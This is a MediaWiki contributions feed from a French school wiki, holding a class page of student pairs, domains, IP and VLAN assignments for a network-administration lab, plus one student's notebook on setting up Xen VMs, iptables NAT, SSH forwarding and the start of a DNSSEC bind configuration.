<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
	<id>https://wiki-se.plil.fr/mediawiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Abiernac</id>
	<title>wiki-se.plil.fr - Contributions [fr]</title>
	<link rel="self" type="application/atom+xml" href="https://wiki-se.plil.fr/mediawiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Abiernac"/>
	<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php/Sp%C3%A9cial:Contributions/Abiernac"/>
	<updated>2026-11-08T06:42:50Z</updated>
	<subtitle>Contributions</subtitle>
	<generator>MediaWiki 1.39.1</generator>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=12751</id>
		<title>SE4 IdO sécurité système/réseau 2025/2026</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=12751"/>
		<updated>2026-03-03T22:21:50Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Répartition des binômes pour les travaux pratiques &amp;quot;administration système et réseau&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
Préfixe des noms de machine : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Domaines Internet à louer sur [[gandi.net]]. Identifiant &amp;lt;code&amp;gt;pifou&amp;lt;/code&amp;gt;. Regardez le montant prévu sur le compte avant de louer un domaine.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Elève !! Nom de domaine&lt;br /&gt;
! Nom de machine de services !! Nom de machine mandataire&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E1 | Cahier n°1]] || Pierre CASIMIRI || merteuil.tech || SE4.Merteuil||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E2 | Cahier n°2]] || Agathe HOUDUSSE || valmont.tech || SE4.Valmont||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E3 | Cahier n°3]] || Lilia GHAZALI || kirchhoff.live|| SE4.Tension||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E4 | Cahier n°4]] || Marin GOURVEST || courant.online|| SE4.Courant||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E5 | Cahier n°5]] || Cédric PAYET || archlinuxbtw.lol|| SE4.CachyOS||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E6 | Cahier n°6]] || Thomas DELOBELLE || archlinux.lol|| SE4.Manjaro||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E7 | Cahier n°7]] || Ibrahim TEPELI || c2vts.fr|| SE4.C2||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E8 | Cahier n°8]] || Yassine YAHIANI || rs7.online|| SE4.RS7||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E9 | Cahier n°9]] || Aurèle VANGHELUWE || tompere.online|| SE4-Tompere1||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E10 | Cahier n°10]] || Tom MERIEN || tompere2.xyz|| SE4-Tompere2||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E11 | Cahier n°11]] || Varesse Evora Souop Metse || elvis21.tech|| SE4.Elf||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E12 | Cahier n°12]] || Mario Sylainx S. GAUTHIER || kasav.online|| SE4.Kasav||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E13 | Cahier n°13]] || Billel Cheklat || dardevil.tech|| SE4.catwoman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E14 | Cahier n°14]] || Antonin Biernacki || deadpool.tech|| SE4.batman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E15 | Cahier n°15]] || Mohamed Salhi || msalhi.online|| SE4.Moon||SE4.Solstice&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom machine mandataire !! IPv4 publique machine mandataire !! Elèves &lt;br /&gt;
!numéro de binôme&lt;br /&gt;
!Adresse IPV4 OpenWRT&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Rosemonde|| 193.48.57.165|| Pierre CASIMIRI &amp;amp; Agathe HOUDUSSE&lt;br /&gt;
|1&lt;br /&gt;
|193.48.57.177&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Kirchhoff|| 193.48.57.171|| Lilia GHAZALI &amp;amp; Marin GOURVEST&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| SE4.LinusTorvalds|| 193.48.57.166|| Cédric PAYET &amp;amp; Thomas DELOBELLE&lt;br /&gt;
|3&lt;br /&gt;
|193.48.57.180&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Garage|| 193.48.57.170|| Ibrahim TEPELI &amp;amp; Yassine YAHIANI &lt;br /&gt;
|4&lt;br /&gt;
|193.48.57.178&lt;br /&gt;
|-&lt;br /&gt;
| SE4-Tompere0|| 193.48.57.168|| Aurèle VANGHELUWE &amp;amp; Tom MERIEN&lt;br /&gt;
|5&lt;br /&gt;
|193.48.57.181&lt;br /&gt;
|-&lt;br /&gt;
| SE4.superman|| 193.48.57.169|| Billel Cheklat &amp;amp; Antonin Biernacki&lt;br /&gt;
|7&lt;br /&gt;
|193.48.57.182&lt;br /&gt;
|-&lt;br /&gt;
| SE4.RockStar|| 193.48.57.172|| Varesse Evora Souop Metse &amp;amp; GAUTHIER Mario Sylainx S.&lt;br /&gt;
|6&lt;br /&gt;
|193.48.57.179&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Solstice|| 193.48.57.167|| Mohamed Salhi &lt;br /&gt;
|2&lt;br /&gt;
|193.48.57.173&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des commutateurs virtuels =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Noms des élèves !! Nom du fichier de configuration !! Réseau IPv4 utilisé &lt;br /&gt;
|-&lt;br /&gt;
| CASIMIRI / HOUDUSSE || pont_gercourt || 192.168.3.0/24&lt;br /&gt;
|-&lt;br /&gt;
|PAYET / DELOBELLE&lt;br /&gt;
|pont_pacman&lt;br /&gt;
|192.168.10.0/24&lt;br /&gt;
|-&lt;br /&gt;
|MERIEN / VANGHELUWE&lt;br /&gt;
|pont_pere&lt;br /&gt;
|192.168.0.0/24&lt;br /&gt;
|-&lt;br /&gt;
|CHEKLAT / BIERNACKI&lt;br /&gt;
|pont_ironman&lt;br /&gt;
|192.168.69.0/24&lt;br /&gt;
|-&lt;br /&gt;
|SALHI&lt;br /&gt;
|pont_msalhi&lt;br /&gt;
|192.168.20.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GOURVEST/GHAZALI&lt;br /&gt;
|pont_diviseur&lt;br /&gt;
|192.168.67.0/24&lt;br /&gt;
|-&lt;br /&gt;
|YAHIANI / TEPELI&lt;br /&gt;
|pontclio&lt;br /&gt;
|192.168.7.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GAUTHIER / SOUOP METSE&lt;br /&gt;
|Styx&lt;br /&gt;
|192.168.50.0/24&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des réseaux virtuels =&lt;br /&gt;
&lt;br /&gt;
VLAN privés :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| VLAN1 || 1&lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || 2 &lt;br /&gt;
|-&lt;br /&gt;
|E1-Pierre&lt;br /&gt;
|11&lt;br /&gt;
|-&lt;br /&gt;
|E2-Agathe&lt;br /&gt;
|12&lt;br /&gt;
|-&lt;br /&gt;
|E5-Cedric&lt;br /&gt;
|15&lt;br /&gt;
|-&lt;br /&gt;
|E6-Thomas&lt;br /&gt;
|16&lt;br /&gt;
|-&lt;br /&gt;
|E9-Aurele&lt;br /&gt;
|19&lt;br /&gt;
|-&lt;br /&gt;
|E10-Tom&lt;br /&gt;
|20&lt;br /&gt;
|-&lt;br /&gt;
|E13-Billel&lt;br /&gt;
|23&lt;br /&gt;
|-&lt;br /&gt;
|E14-Antonin&lt;br /&gt;
|24&lt;br /&gt;
|-&lt;br /&gt;
|E15-MSalhi&lt;br /&gt;
|25&lt;br /&gt;
|-&lt;br /&gt;
|E11-Evora&lt;br /&gt;
|28&lt;br /&gt;
|-&lt;br /&gt;
|E12-Gauthier&lt;br /&gt;
|21&lt;br /&gt;
|-&lt;br /&gt;
|E8-Yassine&lt;br /&gt;
|18&lt;br /&gt;
|-&lt;br /&gt;
|E7-Ibrahim&lt;br /&gt;
|17&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
VLAN communs avec l&#039;école :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| INTERCO1 || 530 &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Schéma de câblage =&lt;br /&gt;
&lt;br /&gt;
Vous avez des éléments réseaux et des panneaux de brassage fibres dans les locaux techniques SR31 et SR52 ainsi que dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
Le plan doit donc comporter, pour chaque connexion, les locaux d&#039;origine et de destination ainsi que l&#039;identifiant des ports d&#039;origine et de destination.&lt;br /&gt;
&lt;br /&gt;
= Plan d&#039;adressage =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom VLAN !! Réseau IPv4 !! Réseau IPv6 &lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || &amp;lt;code&amp;gt;193.48.57.160/27&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a0::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| PoolPierre || &amp;lt;code&amp;gt;10.60.1.0/24&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a1::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| PoolAgathe || &amp;lt;code&amp;gt;10.60.2.0/24&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a2::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|PoolCedric&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.5.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a5::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolThomas&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.6.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a6::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolBillel&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.13.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60ad::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolAurele&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.9.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a9::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolTom&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.10.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60aa::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolSalhi&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.15.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60b1::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolAntonin&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.14.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60ae::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolYassine&lt;br /&gt;
|10.60.8.0/24&lt;br /&gt;
|2001:660:4401:60a8::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolEvora&lt;br /&gt;
|10.60.11.0/24&lt;br /&gt;
|2001:660:4401:60ab::/64&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Adresses IPv4 des éléments réseau dans VLAN1&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Elément !! Adresse &lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E304 || 172.27.0.1/16&lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E306 || 172.27.0.2/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E306 || 172.27.0.3/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E304 || 172.27.0.4/16&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Informations VRRP =&lt;br /&gt;
&lt;br /&gt;
Pour chaque VLAN et pour chaque instance VRRP dans le VLAN listez les adresses IPv4 propres ainsi que l&#039;unique IPv4 virtuelle.&lt;br /&gt;
&lt;br /&gt;
== VLAN des machines virtuelles ==&lt;br /&gt;
&lt;br /&gt;
Une seule instance VRRP dans le VLAN des machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
Adresse IPv4 virtuelle : &amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Routeur !! IPv4 propre &lt;br /&gt;
|-&lt;br /&gt;
| C9200 E304 || &amp;lt;code&amp;gt;193.48.57.163&amp;lt;/code&amp;gt;&lt;br /&gt;
|- &lt;br /&gt;
| C9200 E306 || &amp;lt;code&amp;gt;193.48.57.164&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== VLAN ... ==&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12357</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12357"/>
		<updated>2026-02-23T10:52:30Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;BIERNACKI Antonin&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
== Infos concernant notre binôme ==&lt;br /&gt;
Binôme : &#039;&#039;&#039;CHEKLAT Billel&#039;&#039;&#039; [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : &#039;&#039;&#039;superman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : &#039;&#039;&#039;193.48.57.169&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : &#039;&#039;&#039;batman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : &#039;&#039;&#039;deadpool.tech&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : &#039;&#039;&#039;catwoman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : &#039;&#039;&#039;dardevil.tech&#039;&#039;&#039; (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : &#039;&#039;&#039;pont_ironman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Réseau IPv4 : &#039;&#039;&#039;192.168.69.0/24&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons &#039;&#039;&#039;créé nos trois machines&#039;&#039;&#039; sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le &#039;&#039;&#039;root password&#039;&#039;&#039; qu&#039;il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp &#039;&#039;&#039;robuste&#039;&#039;&#039; car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de &#039;&#039;&#039;démarrer les machines&#039;&#039;&#039; avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d&#039;&amp;lt;nowiki/&amp;gt;&#039;&#039;&#039;accéder à la console de la machine virtuelle&#039;&#039;&#039; (pour quitter la console un exit suffit et pour quitter la saisie de connection &#039;&#039;&#039;Ctrl + Shift + 5&#039;&#039;&#039;) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Montage des partitions /home et /var ===&lt;br /&gt;
&lt;br /&gt;
==== Sur capbreton ====&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;créer les partitions&#039;&#039;&#039; /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sur la machine de service ====&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;formater et monter&#039;&#039;&#039; les partitions nous utilisons les commandes suivantes (&#039;&#039;&#039;/!\ pas dans capbreton&#039;&#039;&#039;) :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient &#039;&#039;&#039;montées de façon automatiques&#039;&#039;&#039; au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez &#039;&#039;&#039;redémarrer&#039;&#039;&#039; la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau ===&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24 IPv4 de batman (service)&lt;br /&gt;
    gateway 192.168.69.1 IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
# IPv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.1/24 # IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27 # IPv4 publique de superman&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On modifie le fichier &amp;lt;code&amp;gt;/etc/xen/SE4.batman.cfg&amp;lt;/code&amp;gt; sur capbreton&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois cela fait on peut &#039;&#039;&#039;redémarrer&#039;&#039;&#039; la VM avec les commandes précédentes. Ensuite sur batman on doit lancer l&#039;interface :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reboot&lt;br /&gt;
ifdown eth1; ifup eth1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== Configuration SSH et Mascarade ==&lt;br /&gt;
Ces commandes permettent de &#039;&#039;&#039;synchroniser l&#039;heure&#039;&#039;&#039; du système :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
La mascarade se configure avec &#039;&#039;&#039;iptables&#039;&#039;&#039;, et consiste à donne une adresse IPv4 qui permet d&#039;accéder à internet. &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans les &#039;&#039;&#039;trois VMs&#039;&#039;&#039; on modifie &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; en ajoutant :&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
On peut ensuite &#039;&#039;&#039;redémarrer&#039;&#039;&#039; le service ssh :&lt;br /&gt;
 /etc/init.d/ssh restart&lt;br /&gt;
La &#039;&#039;&#039;redirection du port ssh&#039;&#039;&#039; ce fait via les commandes suivantes sur la machine mandataire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans le fichier &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; la ligne suivante doit être &#039;&#039;&#039;décommentée&#039;&#039;&#039; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour éviter de perdre la configuration à chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Désormais le ssh peut être fait via les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ssh en IPV4&lt;br /&gt;
ssh root@&amp;lt;add_ipv4&amp;gt; -p 2202&lt;br /&gt;
# ssh en IPV6&lt;br /&gt;
ssh root@&amp;lt;add_ipv6&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DNS et DNSSEC ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;  afin de fait passer par notre DNS et d&#039;avoir le second DNS en backup :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
